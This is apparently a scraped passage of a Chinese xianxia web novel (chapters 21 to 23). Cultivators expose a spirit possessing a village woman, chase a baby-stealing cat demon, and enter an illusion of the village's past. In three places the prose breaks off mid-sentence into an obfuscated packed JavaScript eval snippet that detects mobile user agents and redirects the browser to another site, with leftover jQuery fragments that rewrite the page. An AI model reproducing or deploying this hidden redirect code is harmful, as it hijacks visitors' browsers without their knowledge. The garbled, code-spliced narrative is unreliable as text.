众人都惊地站起身,锦书嘴里半块糕点还没咽下去,吓得她被呛了好几口,连忙抓起桌上的茶杯灌了几口茶。 随着锦书的咳嗽声,一阵敲门声也传进了众人耳里。 “叩叩叩”木门有节奏地抖动着,众人面面相觑、汗毛耸立。 21. 第 21 章 众人对视一眼,默然片刻,只听到有节奏的敲门声还在继续。 门外的人迟迟等不来回应,拍门的声音也愈加急促。 李行道镇定地走上前,问道:“何人?” “是我呀,我是阿翠,阿宝该喂奶了,我来喂她奶。” 听到熟悉的声音,步阙乾松了口气,笑道:“原来是阿翠。”说着就伸出手要去开门。 陈赋舟一把按住他已经放在门把手上的手,皱着眉头,厉声道:“阿翠一个虚弱的病人怎么可能过来?况且她怎么知道我们在这里?” 步阙乾脑子一转,想明白后吓得一哆嗦后退了两步,颤颤巍巍地大声问道:“你到底是谁?” 门口那位还在嘴硬:“我就是阿翠啊!快让我进去!阿宝要饿了,快让我进去!” 陈赋舟冷冷道:“别装了。” 敲门声戛然而止。 “你们以为把门锁上我就进不去了吗?未免也太过天真了,我敲门只是给你们这群小修士一个面子罢了,让你们有点心理准备,省的见了我吓得屁股尿流,脏了我的眼!”门外的人狂妄的笑了起来。 她冷喝一声:“开!”随即抬脚踹向大门。 “哐”的一声,“阿翠”以一个后背朝天、四肢飞起的姿势趴在地上,她不可置信地像个王八一样伸着头看向围着自己的五个人。 怎么会这样!难道不应该是自己闪亮登场,吓得这群小鬼跪地求饶吗? “哈哈哈哈哈......” “阿翠”咬紧牙关,这群狂妄的修士居然还敢笑,看她不爬起来好好惩罚他们一番! 但她还没来得及爬起来,李行道和步阙乾两人就抓起早已准备好的缚妖索将她紧紧地捆在了门板上。 “你不会觉得我们傻傻地堵在门后面吧?“陈赋舟蹲下身,一把扯下来她腰上的荷包,锦书偏过头看了看,诧异地发现这荷包居然同她在祠堂里看见的那只一模一样。 “阿翠”显然没注意到自己腰间空空,她不甘心的嘶吼道:“你们......你们这群疯子!话本上的修士不是这样的!” 陈赋舟笑的眼睛弯弯,不留情面的嘲讽道:“你们村已经落后到这种地步了吗?十年前的修士都不会这么傻了。” 锦书也抚掌笑道:“可能你输在我们是新派修士的缘故吧!看来偃建村的改革开放势不容缓呐!” “阿翠”面目狰狞,神色癫狂,显然是被这群“新派修士”气得不轻。 李行道皱着眉头逼问道:“你为什么毫发无损?难道你不是妖?” “阿翠”冷笑一声:“你是不是以为自己那个阵法没用?” “其实我来的这么晚就是被那阵法所阻碍,我本来还担心会误了我的好事,没想到杨大富那个蠢货,那个贪婪的蠢货,居然觉得那四遵玉像值钱,看我许久未来,以为今夜我会放过他,于是趁着你们都在屋里,将那玉像偷了去。我真是要谢谢他,倘若没有他,我也不可能这么轻松就得手哈哈哈!” 李行道自然没想杨大富这无赖能厚颜无耻到这地步,为了几遵值钱的玉像连自己的叮嘱都不放在心上,他脸色铁青重重地坐回椅子。 “阿翠”瞧着终于有其他人吃瘪,终于舒心了许多。 锦书也蹲下身,好奇地戳了戳她的后背道:“你跑到人家阿翠的身上有多久了?三个月?还是更久?” “阿翠”刚高兴不过两秒,错愕道:“你胡说什么?我今晚才上的她的身,这幅身子病恹恹的,待得我难受死了!等我功成就夺了你这小丫头的身子,年轻力壮、肤白貌美,我最最最喜欢了!” 锦书面露不屑,撇了撇嘴道:“你就别死鸭子嘴硬了。从见到你那刻起,我们就知道你不是真的阿翠了。” “阿翠”目露凶色:“你到底想诈我什么,直说就是,老在这里套什么话。” 眼见她到这种时候了还不肯承认,燕临叹了口气,直接说道:“好歹我们也是天下第一门派的弟子,怎么可能真的没点真材实料?昨日给你看病的是掌门亲传弟子步阙乾,极擅医药。” 步阙乾得意洋洋的接道:“我手刚搭上你的脉就知道阿翠这身子里面还有一魂,两魂相争,阴阳相倒,凡人之躯撑不了多久,因此身子便会愈加虚弱,阳气外泄,命不久矣。你伪装的很好,症状却是像极了产后虚弱,可是随着生产过得越来越久,病症也越来越令人生疑,就算昨日遇上的不是我,恐怕过些时日,也会被人发现端倪。” 昨日,刚从杨贵家出来,步阙乾就同一行人说出了自己的观点,先前屋里的懈怠轻敌与听到敲门时的惊恐都是为了迷惑“阿翠”的武器,一撞就开的门和缚妖索也是早早就准备好了的,只不过众人本以为她不至于傻到这个地步,所以如果这些计划失败,后面等着她的还有别的折磨。 “阿翠”闻言终于不再挣扎,她侧着身子阴恻恻地盯着床上的两个孩子大笑了起来,笑的眼泪直流,在那张瘦削苍白的普通女人脸上,笑容和眼泪混作一团显得无比诡异。 她的两只手狠狠地抓在门板上,长长的指甲在木头上划出几道深切的痕迹,指头被廉价的木材刮破了皮,渗出黑红色的粘稠血液,在门板上映出两道突兀的血掌印,令人触目惊心。 锦书暗暗咂舌,恐怕明日这屋子就要被当成凶宅了,这俩手印不知道能把杨大富吓成啥样。 陈赋舟将先前从“阿翠”腰上扯下的荷包拿了出来,放在她眼前晃了晃,她尖利的笑声戛然而止,歇斯底里地尖叫道:“把我的荷包还给我!还给我!” 锦书不紧不慢地将荷包收了起来,耐心地问道:“这个荷包对你来说很重要吧?让我猜猜,这是你缝给你女儿的?如果你还想拿回去,就老老实实的回答我几个问题。你到底是什么人?偃建村的祭祀到底是怎么回事?祠堂里的鬼子母你又知道些什么?” “阿翠”眸中闪过一丝杀意,似笑非笑地说道:“我劝你们不要多管闲事。我做这些只是为了复仇,不会伤害任何一个无辜之人的性命,如果你们一定要阻止我,那我也不会放过你们的!即使是永坠幽冥,我也要拉着所有仇人替我陪葬!”她尖锐的笑声再次响起:“你们以为区区雕虫小技就想困住我吗?可惜我复仇的决心才是世界上最厉害的武器,任谁都别想从我的刀锋下逃走!” 说罢,“阿翠”两眼一番,就晕了过去。 众人被这突如其来的变故惊得说不出来话,锦书小心地将手指靠近她的鼻息,察觉到还算绵延有力的呼吸后长舒一口气:“她还活着,应当并无大碍。” 突然,燕临尖叫一声:“不好!” 锦书转过头去,脸色突变,只见不知何时,紧锁着的窗户已经敞开,呼呼大作的狂风,夏季的风带着燥热,赤裸裸地黏在人身上,带来一重又一重的滞感。 那只祠堂里的那只狸花猫此刻就高傲地站在窗台上,高高扬起头颅,用蔑视的眼光打量着一行人,杨有钱的襁褓正在它脚旁,这个年幼的孩子还不知道即将发生什么,正睡的安然。 圆月高悬,将狸花猫的影子拉的又高又长,深深地倒映在墙上,密不透风地覆盖了五人的影子。 陈赋舟反应很快,立马直奔窗台,但是狸花猫比他动作更快,它咬住襁褓,闪身就跳了出去,那道灵巧的身影在房屋中间跃来跃去,即使背负着一个三月大的孩子,竟然也毫无停顿。 “快追!” 四人夺门而出,留下没有战斗力的步阙乾收拾残局,他着急忙慌地将阿翠的身体抬上床,又担忧那猫妖会折返偷走杨宝,只得无奈地将襁褓搂在怀里,也连忙追了出去。 狸花猫的速度快,四人也不甘落后的紧紧追在后面。 先前屋里的动静太大,已经惊起了因为担忧而守在临院的杨大富和杨贵。 听到刺耳的尖叫声和急促的跑步声后,杨贵再也按捺不住心中的焦急,也顾不上李行道的叮嘱,大步冲进院子,杨大富也急忙跟了过来。 杨贵眼看屋子里凌乱不堪,就连结实的木门都随意的丢在了地上,脸色霎时变了,这时恰逢步阙乾搂着杨宝从屋里出来,夜色朦胧,杨贵看不清襁褓到底是谁的,便一个箭步冲上前,抓住步阙乾的肩膀,哆哆嗦嗦道:“道长,这是怎么了道长?我女儿呢?我女儿在哪?她有没有事?” 杨贵的手劲出奇的大,步阙乾疼的倒吸一口冷气,一骨碌地把怀里的襁褓塞给杨贵,他急着想跟上去看情况,却也不得不安抚眼前的两个男人:“你女儿在这呢,你搂好,另外你娘子也在屋里,不过只是晕过去了,什么事都没有,你不用担心。” 杨大富眼看步阙乾身后再无旁人,唯一的襁褓也已经确定是杨宝,下意识地也冲了过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929213|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咆哮道:“我儿子呢?我儿子去哪了?” 步阙乾被杨大富的口水喷了一脸,但此刻事态紧急,他只能语速飞快的说道:“你儿子被猫妖抓走了,但你先别慌,我师妹师弟都已经过去了,一定会保护好他的。”说罢,他也不管三七二十一,一把推开了杨大富,朝着狸花猫的方向飞奔而去。 杨大富哪里肯罢休,扯着嗓子唤来几个在一帮协助的男丁,一同追了过去。 夜色浓浓,狂风四起,村民们听见脚步声纷纷谨慎地探出头来查看,众人紧紧跟着猫妖,奈何它速度极快,不管众人如何追赶,都将他们远远地甩在身后。 “它到底要去哪?”锦书气喘吁吁地问道。 她的声音随风飘向远方,陈赋舟扭头看她体力不支,伸手扯了一把,扬了扬下巴,“诺。你看那是哪?” 山中一到夜晚就起大雾,村庄被大雾覆盖在身下,远远望去犹如一只蚕蛹,谁也不知道蛹里的是蝴蝶还是虫子。 锦书一路上只顾着追着其他人跑,听到这才注意到,前方红红的灯笼高高悬挂在院子的四角,彩旗在不留情面的大风中刮得“哗哗”作响,那座祠堂格格不入地出现在浓雾中,令人忍不住上前探索它所孵化的究竟是何样的生灵。 那只猫已经停住了脚步,它立在祠堂的墙上,绿幽幽的眼睛好像两盏琉璃灯,它直起身子看见身后一行人都跟了过来,才灵巧地跳进院子。 众人脚步不停,纷纷跳入院中。 只见院中空无一物,之前的一切好像都是幻境一般,从未有什么猫和婴儿的痕迹,只有祠堂正房的大门敞开,鬼子母的神像面带微笑,慈悲而怜悯地俯视着众人。 锦书不由得打了个冷颤:“人呢?” 燕临声线紧绷:“大家小心,当心它会从其他地方窜出来袭击。” 陈赋舟和李行道两人已经率先在院子四周检查了起来:“什么都没有,恐怕是藏在祠堂里了。” 这时,步阙乾和杨大富几人也步履匆忙地冲了进来,杨大富瞪着眼睛扫视了一圈四人,确定了没有自己儿子的踪迹,当即就一屁股坐在地上嚎了起来:“我儿子呢?我儿子去哪了?你们不是说会看着我儿子的吗?” 锦书质问道:“你老大不小了,还在这里装什么,也不嫌丢人。我还想问你,这祠堂你到底是拿来干什么的?你为什么要把镇压的四座玉像偷走?你自己干了什么亏心事,被人追上门不惜一切代价要复仇?” 杨大富显然没想到这个看上去年纪小小的娇娇姑娘会突然这样吼他,怔了怔,又理直气壮地扯着嗓子叫了起来:“我不管,反正让你们过来就是为了保护我儿子的,你们连这点小事都做不好,你们还算什么修士!” 此人死皮赖脸的功夫哪是锦书一个常年不出门的温良小女孩抵的过得,她气的不行,却发现不管自己说什么,这人都能用千奇百怪的理由纠缠上来。 陈赋舟抬起脚尖踹了一脚杨大富,威胁道:“你最好搞清楚这里能帮你救回你儿子的可只有我们。” 杨大富面上表情僵了僵,他素来当土皇帝当惯了,向来都是使唤谁谁就老老实实地去干,显然忘了这帮修士并不是他的“子民”。 燕临在祠堂里转了一圈才过来打圆场:“杨村长,你带着你的人出去吧,不要影响我们做事。” 杨大富唯唯诺诺地应了声是,爬起来就要走。 “等等!杨大村长可是主角,怎么可以先行离场呢?” 突如其来的声音令众人都有些措不及防,锦书探头望向四周,并没有找到声音的主人。 这时一阵孩童的哭声从正房中响起,杨大富脑袋一抖,一把抓住了身侧步阙乾的胳膊,慌张道:“道长,这是我儿子的哭声,道长,你们一定要救救我儿子啊。” 燕临紧缩眉头率先往正房走,锦书唤出来绊玉紧紧搂在怀里也小心翼翼地跟了过去。 两人还没跨过门槛,却见鬼子母神像率先动了。 祂仿佛有了生命一般,姿势从端坐变为站立,轻轻地飘向院中,鬼子母依旧面带温和的笑容,祂挥舞起右手的一枝莲花,莲花仿佛也活了过来,花蕊上点点亮光随着祂挥舞的幅度落在院中,众人都感到自己浑身僵硬、动弹不得。 “我的子民们,我赠与你们一场美梦,睡吧睡吧,我会在梦中向你们指引出真相。” 22. 第 22 章 阿花“晃”的一声从床上坐起,眼前的一切都让她觉得相似又陌生,她感到自己脑子晕乎乎的,又倒头跌回了床上,伸手扯起有些粗糙的被褥盖过了头顶,妄想再睡一会。 难道是昨天在河边洗衣服的时候穿的太单薄了,被吹成风寒了? 不对,我昨天洗衣服了吗?我不是在...... 在做什么? 阿花的头更痛了,她抱着脑袋在床上滚了几圈,也没想起来昨天到底是在洗衣服还是做了其他的。 被褥被一把扯开,一道尖利的女声吓得她一哆嗦:“你怎么还在床上躺着?我让你挑的水去哪了?嗯?我问你,水呢?水呢?” 五大三粗的女人说着说就顺手抽起床边的麻绳毫不留情地抽向床上的女孩。 女孩尖叫一声,马上爬起身,可怜地抓住女人的袖子,条件本能道:“娘,我错了,娘,我现在就去。” 女人这才丢下手里的麻绳,冷哼一声道:“都快嫁出去了,让你干点事你还不情愿,你这个赔钱货,生你不知道有什么用,哪里有你弟弟万分之一的好。” 女人摔门而出,阿花怔怔地坐在地上,生理性的眼泪从眼眶中溢出,她舔了舔干涩的唇,眼泪的咸让她终于回过来神。 她叫阿花,是偃建村最普通不过的一个女孩子,和其他人家一样,家里有个弟弟,家里很穷,不过还好她长得貌美,马上就要嫁给村里有钱商户的儿子做老婆了。说是嫁,实际上和卖也并没有什么区别,毕竟她可看见爹娘坐在屋里,乐滋滋的数着手里的钱,薄薄的一沓,但对这个小村子来说已经是难得一见的高昂彩礼了。 爹娘乐得合不拢嘴,手里的钱数了一遍又一遍。 她听见娘对爹说:“没想到杨阿花这个赔钱货居然值这么多钱,看来生她倒还有点用,至少阿强以后娶媳妇的钱不用愁了。” 杨阿花趴在屋外,她第一次听到娘夸她,不由得也傻乎乎地笑了起来,她掰掰手指想算算自己到底值多少钱,却发现不认字的自己怎么也算不明白。 弟弟阿强正提着个鸟笼子悠闲地从外面回来,他漫不经心地哼着歌,笼中的小鸟色泽靓丽,叫声婉转,今天可是让他在学堂里得到了一堆艳羡的眼神。 阿花看见阿强,连忙笑盈盈地迎过去,接过他手里的鸟笼。 她讨好地问道:“阿强,你知道我的彩礼有多少钱吗?我怎么也算不明白。” 阿强眯起小小的眼睛瞥了她一眼,不客气道:“你管这么多干啥?反正钱也不是你的。” 阿花挠了挠头:“我能给家里带来这么多钱,我高兴呢!” 而近日,距离爹娘同人家约定的成婚之日不过只有一天了,阿花跌坐在地上,难得的担心起了自己,为什么早上起来头那么痛,自己不会病了吧?如果别人嫌弃自己病了还嫁过去,会不会给爹娘带来麻烦啊? 阿花焦急地冲进院子:“娘,我好像病了,我要不要去看大夫啊,不然明日......” 女人“呸”的向地上吐出一口浓痰,打断了她的讲话:“你少给我装!你就是不想干活吧,我养你这么大你壮的和头牛一样我能不知道?还想看大夫?你以为自己多金贵?你以为自己是公主啊?” 阿花恹恹地闭了嘴,识相的不再多说,按照吩咐做起了家务事。 午饭时,阿花一家人难得吃了顿好的,桌上不同以往的寡淡,竟然多了道炒肉,阿花已经许久没见过油光了,看见那道炒肉只想伸筷子。 “儿子今天去学堂辛苦了,娘这肉就是特地炒给你吃的。”女人笑眯眯地夹起满满一块肉递到阿强碗里,眼看阿花也伸手去够,立马又凶狠的一筷子打在女孩的手背上:“你怎么好意思吃肉的,我让你吃了吗?” 女孩的手背上肿起两道明显的青痕,但她也不敢多说什么,只能埋头吃起了碗里的米饭。 “娘,你给我点钱,我要去买个鸟笼子,我看中了东集的一家,那笼子,你不知道,可漂亮喽,和我那鸟可般配了。”阿强挥舞着筷子,眉飞色舞地描述起了笼子,口水四溅在每盘菜里,阿花不动声色地抹去手背上的几滴口水,她早就习以为常弟弟这样跳脱的性格。 “行!娘的好儿子,你要什么娘都给你买!你待会就去我屋里床头柜里面自己拿钱吧!” 阿花握着筷子的手紧了紧,那里面放的好像是那户人家送来的彩礼,不过她什么也没说,自己赚的钱给家里人花再天经地义不过了。 阿花的一天并没有因为她明日就要出嫁而有什么改变,她仍旧像往日那样勤勤恳恳地做家务,收拾自己要带去夫家的物件。 唯一有所不同的是,夜深人静时分,她躺在床上,却迟迟难以陷入睡眠,总好像有另一段奇特的记忆在自己脑海中挥之不去,不过再多再多都抵不过瞌睡,她还是在疑惑与担忧中沉沉地陷入了睡眠。 次日天未亮,阿花就在昏昏沉沉中被拉起来洗漱更衣,好在她常常这个点去挑水,不过一会便适应了环境。 阿花穿上布料粗糙的红色嫁衣,像人偶娃娃一样让喜婆用廉价的胭脂在她秀丽的脸上涂涂抹抹,阿花被按部就班地抬上喜轿, 轿子一上一下的颠簸在路上,阿花盖着红盖头,只能听见外面小贩的叫卖声和吹锣打鼓的喧闹声。阿花心里很平静,隔壁的大姐姐几年前出嫁时和她说过,嫁人是每个女孩都要经历的事情。 大姐姐嫁给了自己的青梅竹马,她出嫁的时候很高兴,直到阿花平时和自己一样吃不到什么好东西,还悄悄地塞给她一包糖,阿花可开心了,她抱着糖跟在大姐姐的喜轿后面,把一颗又一颗的糖塞进嘴里,塞得腮帮子满满的,只有这样才能在回家前吃完所有糖,弟弟就不会哭着让她把糖给他了。 大姐姐的夫婿人很好,他们两个人都无父无母,但他却一直在照顾大姐姐,尽管两个人的穷的身无分文,他还是借钱让大姐姐像普通女子一样有了简单但不敷衍的婚宴。 阿花漫无目的的想着,直到喜轿落地,一只手掀起帘子递向她,阿花将手递了过去,顺从地被拉着走完了所有的仪式。 她坐在床榻上等着这个自己从未见过的陌生男子,喜帕还盖在头上,陌生的环境令人心中忍不住忐忑不安了起来。 “你们都退下吧。”男子好听的声音传来,阿花两只手紧张不安的绞在一起。 男子并没有过来掀起喜帕,阿花听到他扯开了桌椅,不知道在干什么。 没过多久,男子站起身向阿花甩出一张符,阿花只感到面前忽过一阵风来,不知什么东西就贴在了她的头上。 锦书一把扯下头上的喜帕,喘了口大气,没好气地问道:“这是什么?我怎么了?” 少年轻巧地接住帕子,眸带笑意:“我们在幻境里,你顶替了幻境里原有的阿花,所以一时间没有意识和记忆。” 身上这喜服红艳艳的,可锦书却觉得分外讨厌,嘟囔着扯下脑袋上并不多的装饰,又要拉开外衫。 陈赋舟急急转过身,重重咳嗽两声,提醒道:“小师姐,我还在屋子里呢?” 锦书动作利落地把外衫扔在一旁,内里还穿着厚厚一层里衫:“我知道呀。” 他身子僵了僵,不知该说些什么,只好背对着锦书。 锦书瞧他总不把身子转过来,有些疑惑,便要上前。 脚步声靠近,陈赋舟只觉得耳根发热,忙喝道:“小师姐,别过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933526|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为什么?” “因为......”陈赋舟一时想说些什么,却又觉得自己难以说出口,正万般纠结间,便被红色遮住了眼。 他掀起落在自己头顶的红盖头,一张笑容嫣然的面庞便出现在了眼前,那双猫咪似的眸子离他不过二指距离,近的就连落在她眼尾的一根细细睫毛都能看得一清二楚。 “为什么你有意识和记忆,我就没有?” 看到他掀起盖头,锦书也站直身子问道。 陈赋舟眨了眨眼,瞧见她与自己有些距离,虽少了大红色的外衫但穿着也整齐,才微不可查喘了口气,掀起眼皮,轻松道:“这个妖怪灵力高超,不过在幻境一术上略微少了点天赋,这个幻境虽然对我来说可能不算什么,不过师姐你们并不精修此道,陷入其中也不意外。” “那你怎么还在这里待着?怎么不先行一步出去?” “她妖力太强,我一个人出去打不过。” 锦书眼睛一亮,拍了拍他道:“没事,师姐会保护你的,不过你怎么知道我就是杨阿花?” 陈赋舟把玩着手里的喜帕:“我就半夜就翻进新娘家,一看这个杨阿花的脸同你的一模一样,自然就知道是你了。” 他站起身将喜帕放在一旁,走向木质梳妆台,拿起一面铜镜,仔仔细细地端详了一番镜中的锦书:“这妖怪的灵力不足以支撑整座幻境容纳下这么多人,于是本在这幻境中的人就回到了自己的躯壳,而外来的自然而然就取代了本来的。” 锦书恍然大悟:“所以我们只需要找到和大家样貌相同的人就是了。” 陈赋舟提醒道:“师姐恐怕还没发现吧,这幻境就是几年前的偃建村,一切的事情都是真真实实发生过的。” 锦书有些呆滞,但她也不笨,通过杨阿花的记忆很快就把一切都串联了起来,隔壁的大姐姐和她青梅竹马的丈夫正是杨贵和阿翠一家,此时大约是他们成亲三年,杨珍刚刚两岁左右。 锦书试探地问道:“那杨阿花和你这幅身子又是村里的谁?” 陈赋舟眉头紧缩:“当时去村里打探的不是我们两人,因此我也不熟悉村里的情况,只能大约推断出,这两个人一定和祠堂还有那只妖怪有些许关系。” 锦书之前虽然在宗门里临时抱佛脚了一番,却并没有学到多少幻境相关的知识,她有些不好意思地开口问道:“那我们怎么从幻境里面出去啊?” 陈赋舟并没嘲笑她的不学无术,只是耐心解释道:“通常来说想要从幻境里出来只有两个办法,要么找到幻境的境眼然后毁灭它,要么是幻境的主人心甘情愿的解除幻境,当然如果幻境的主人和它所吞噬的人修为相差过大,那么也根本困不住别人太久。” “按我们这种情况,显然只能靠第一个方法,幻境的境眼是一种很奇妙的东西,它可能是一个物件,可能是一个人,甚至有可能是一句话或者一个想法。” 情况逐渐鲜明,锦书也放松多了,她拍了拍手掌:“那我们明日就先去村里找其他几个人吧,然后再看看这偃建村葫芦里卖的到底是什么药!” 陈赋舟走到床前,将手中的铜镜递了过去,少年眸中映出穿着红袍的少女,嘴角的酒窝深深,饱含笑意,他似笑非笑的目光使得锦书有些疑惑地摸了摸脸。 “小师姐洗个脸再睡吧。” 锦书抓起铜镜,只见镜中本是明媚俏丽的少女眉毛被粗糙地画了两道乌黑的横线,脸上两坨红霞,嘴巴更是涂的鲜红无比,简直像个唱戏的。 都怪那个便宜“娘”舍不得钱,给阿花都画成啥样了! 锦书涨的脸色通红,简直要让人分不清哪里是胭脂,哪里是她本来的皮肤了。 23. 第 23 章 锦书洗干净了脸,脱去了重重的嫁衣,换了身舒适的衣裳。 她随意地坐在桌前,桌上摆满了各式各样的菜品,比阿花家吃的好多了。锦书拿起筷子挑起菜往嘴里送,陈赋舟早在她洗漱时就已经盘腿坐在床上修炼了,听到筷子和瓷盘碰撞的清脆声,才睁眼道:“明日我们先去找杨大富,这家人和杨大富是表亲。” 锦书咽下嘴里的一块肉:“怪不得日子过得这么有油水。 红烛高照,灯光摇曳,谁都没想到这房中的少年夫妻,一个正像饿死鬼投胎一样抱着个鸡腿啃,另一个则只是微微笑着兴致满满地看对方大快朵颐。 锦书吃的真是惬意,吃完了才意识到现在只有他们两人呆在屋里,外面挂着大红灯笼,屋里也装扮得喜气洋洋,而夜色已晚,正是安眠的时候。 陈赋舟早就在地上铺上了一层被褥,善解人意道:“师姐睡床吧,只是夜间小心点,莫要踩到我了。” 锦书有些不好意思,连连推脱道:“怎么能这样呢,我是师姐,还比你年纪大,应该我让着你才对,还是我睡在地上吧。” 陈赋舟摇了摇头:“师姐何必与我争这个,时候不早了,还是早些睡吧。” 说罢,他就合衣盘坐在了地上,闭上了双眼,微弱的烛光下,他的脸上阴影分明,愈发衬得五官挺拔,坐在大红色的被褥上却一点也不显得庸俗。 锦书怔怔地看了看他,没在推脱,小心地吹灭了蜡烛,爬上了床。 屋中迅速一片黑寂,只能听到两个人轻轻的呼吸声。 次日,锦书睡眼朦胧地被陈赋舟叫了起来,又按照繁琐的礼节去同什么七大姑八大姨一一拜访,终于,在下午锦书的“婆母”发了话:“你们也去给你们大富叔拜拜,平日里多靠他关照,咱才能有这样的好日子。” 她压低声音叮嘱道:“当心点,可别说错话!他们家刚得了个丫头,心里正不舒坦呢。” 两人对视一眼,都知道机会来了,便顺从的应下了。 此时,杨大富当上村长不过三年光景,家中所居还算较为简朴,还好有两个帮活的伙夫带路,不然两人可能还真找不到路。 陈赋舟提着礼物敲开了门,笑道:“大富叔,我们来看你了。” 杨大富傲慢地从上到下扫视了一遍锦书,看得她浑身直发毛,为了不露馅,她只能低着头一副羞涩怕生的模样。 杨大富看了半晌才开口说道:“你这新媳妇看着瘦瘦小小的,不知道能不能生出来儿子?” 陈赋舟赔笑道:“那都是以后的事了,不急不急。” 杨大富听见这话瞬间变了表情,教训道:“你个毛头小子懂个屁?生不出来儿子,这媳妇就是仙女都没用!” 陈赋舟连忙傻了吧唧地笑着点头,杨大富接过他手里的礼物,没好气的说道:“我今天还有谁就不喊你进去坐了,你们先回去吧。” 两人又赶紧应是,刚转身身后的大门就“砰”的一声关上了。 锦书这才抬起头,埋怨道:“连进都不让我们进啊?” “先去找师姐他们吧,人聚齐了比较好行动。” 说到这里,锦书又犯了难:“一点线索没有,大海捞针吗?” 陈赋舟瞥了她一眼,锦书今日按照习俗盘了妇人盘的头,颜色略显老气的衣裳穿在她身上倒显现出几分不同寻常的娇俏来。她紧缩眉头,拿指甲扣着袖口粗糙的花纹,那番模样令不少过路人都侧眼望来。 陈赋舟伸手抓住她的手腕,将她往一旁的小路上扯:“如果只有师姐一个人当然是大海捞针,不过有我就不一样了。这幻术在我面前不过一叶障目,幻境中有与幻境的主人灵力相驳之处就是师姐他们所在的地方了。” 锦书好奇地问道:“什么原理?” 陈赋舟拎着她的手腕一边用体内的离魂引感知周遭的灵力,一边不忘耐心地解释道:“师姐他们与杨大富这种凡人不一样,强行将他们融为幻境的一体是不为天道所允的,幻境的主人要承受修士自身灵力的反抗,两者灵力交合处便是这座幻境的混沌之处,这里除了你我二人,还有三处混沌,自然是师姐他们了。” 锦书叹了口气:“唉,不知道的还以为你才是师兄呢,我怎么什么都不知道。” 陈赋舟收回看向天际的视线:“师姐比我强的地方有很多,我不过只是刚好擅长此道而已。” “你不要安慰我啦。” “真的。”锦书被他脸侧的酒窝晃了一神,又听他继续道:“师姐剑术不就比我厉害许多吗,我以后还要靠师姐保护呢。” 这话说得倒是没错,锦书乐滋滋地拍拍胸脯:“放心吧师弟,有我在,保管不让他们动你一根手指头!” 陈赋舟垂头看向她:“那就多谢师姐了。” 锦书甩开手腕,双手抱在胸前,笑眯眯道:“我们先去杨贵家瞧瞧怎么样?反正除了他,我们两个也不认识这村子里别的什么人了。” 此时杨贵同阿翠刚成亲不久,在村子外围潦草地搭了一个小院,平日里阿翠料理家中事,杨贵就出去找些活干,日子虽然清贫,倒也还过得下去。 锦书根据这副身体的记忆毫不费力的就找到了杨贵的居所,这座小院比他们之前见到的要崭新了不少,但也没好到哪去。 “待会我先进去,你跟在我后面,阿翠和我这副身体之前是邻居,关系还不错,就说是我刚成亲路过带着夫婿来探望一下她。”锦书站在小院外对陈赋舟叮嘱道。 “这不是阿花吗?”熟悉的女声传来,锦书连忙住嘴,抬起头笑着喊道:“阿翠姐!” “你怎么过来了?你旁边这位是?”长得和燕临一模一样的“阿翠”一边从院里小跑出来开门,一边上下地打量了一通陈赋舟。 锦书脸上出现几分讶异,陈赋舟低声道:“看来大师姐扮演的是阿翠,不知道大师兄在不在这里。” 锦书很快就调整好表情,自然地抱住陈赋舟的胳膊,整个身子都靠了过去,面露羞涩道:“这是我夫君,我们两个昨日刚成婚,正说要进去看看你呢。” 陈赋舟怔了怔,偏了偏头看向锦书,她两只眼睛都笑地眯成了一条缝,长长的睫毛倒映在可以看见绒毛的脸颊上,简直像只小鸟。 阿翠笑着打趣道:“你们两个长得可真是般配。” 突兀的称呼令陈赋舟还没回过神,锦书感觉到了头顶的视线,伸手在他背后掐了一把,从嘴中轻轻的挤出来几个字来:“师弟,别忘了我们现在是谁。” 阿翠此时刚打开院门,锦书想着要赶紧把大师姐唤醒,也就不再客气:“阿翠姐,我们进去坐会聊聊天吧。” 她热情地应道:“快进来快进来,正好我也好久没见到你了,平日在这也没什么人来往,好不容易你们来了,我肯定是不会轻易放你走的,你姐夫晚点才能回家,你们在我这坐会,等会咱两家一起吃晚饭。” 锦书扯着陈赋舟的胳膊跟在阿翠身后,阿翠看上去正因为熟人到访而显得格外开心。 两人跟在她身后,锦书压低声音说道:“既然大师姐和大师兄在这里,那这两人估计和村子的古怪脱不开干系,说不定之前他俩说的都是骗我们的,待会我们怎么办?” “符我已经提前画好了,趁她不注意贴到她额头上就行。” 锦书应了声好,阿翠推开屋门,转身有些不好意思道:“我家中有些简陋,你们可不要嫌弃。” 锦书忙挥挥手,三人进了屋,屋中的摆设与几年后也没什么大的区别,甚至连床上的襁褓都是同一个。 襁褓中正传来婴儿清脆的哭泣声,阿翠快步上前,搂起了襁褓,襁褓被她紧紧抱在怀中,漏出了一个小婴儿白湛的脸,阿翠轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这幻境主人虽然法力比我强,但却并不精通此术,只不过让我这‘解’符作用发挥的会有些晚罢了,静静地等会就是了。” 话音未落,只听道一声焦急的呼喊声:“你们在干什么!放开我娘子和孩子!” 锦书抬起头,看见“步阙乾”模样的杨贵正气势汹汹地快步朝自己冲来,作势要抢锦书怀中晕过去的阿翠,也顾不得其他的了大喊道:“你赶紧把大师兄打晕!” 